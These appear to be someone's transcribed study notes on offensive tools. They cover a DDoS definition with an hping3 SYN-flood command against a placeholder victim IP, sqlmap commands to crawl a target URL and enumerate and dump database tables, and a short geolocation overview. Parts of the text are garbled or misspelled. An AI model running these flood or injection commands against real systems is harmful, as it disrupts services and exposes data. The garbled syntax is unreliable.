



① DDOS Attack :-

* Definition :-

A distribute a denial of service attack is a malicious attempt to ~~dis~~ the normal traffic of a targeted server, service or not the target or its surrounding infrace structure.

* Type of DDOS Attacks :-

→ Volume-based attacks and large element of data is sent.

→ Protocol attacks and exploit weaknesses in ~~large~~ layer 3 and 4 of the OSI model.

→ Application layer attack :- ~~targets~~ targets layer

ie :-

~~Sudo apt-get install hping3~~

~~Sudo hping 3 -s --flood -v -p [PORT]~~

~~[TARGET-IP]~~

-s: sent TCP SYN Packs

-flood - fast as possible



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-v: verbose mode

-P[PORT]: target a port number

[TARGET-IP]: IP address (IPv4)
of the victim.



② SQL MAP:

* Installation:

- pip install sqlmap
- or download from the official website.

* Syntax to scan:

```
sqlmap -u "[TARGET-URL]" --batch --threads=5  
--crawl=2
```

--batch = default behaviour (Y/N)

--crawl = depth to search

--threads: - number of concurrent tasks to be executed. Increase the speed - between 5 and 10

* Syntax to read the -CSV generated cat [csv-generated]

* Syntax to find current user o/b

```
sqlmap -u "[LINK-FOUNDED-IN-CSV]"  
--current-user --current-o/b  
--batch
```



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* Syntax to find tables

```
sqlmap -u "[LINK-FOUNDED-ITN-CSV]"  
-D [dbname] --tables --batch
```

* Syntax to exploit tables

```
sqlmap -u "[LINK-FOUNDED-ITN-CSV]"  
-D [dbname] -T [tablename] --batch
```




③ Location Seeker

* Definition:-

A location seeker is a tool or app designed to determine the geographic location of a device or IP.

* How it works.

- IP Geolocalisation: determines the location based on IP Address.
- GPS = Use of to determine the precise device location
- Wifi positioning = Use of nearby wifi networks to triangulate a device's location.
- Cell Tower Triangulation = determines location by measuring the signal strength from multiple cell towers

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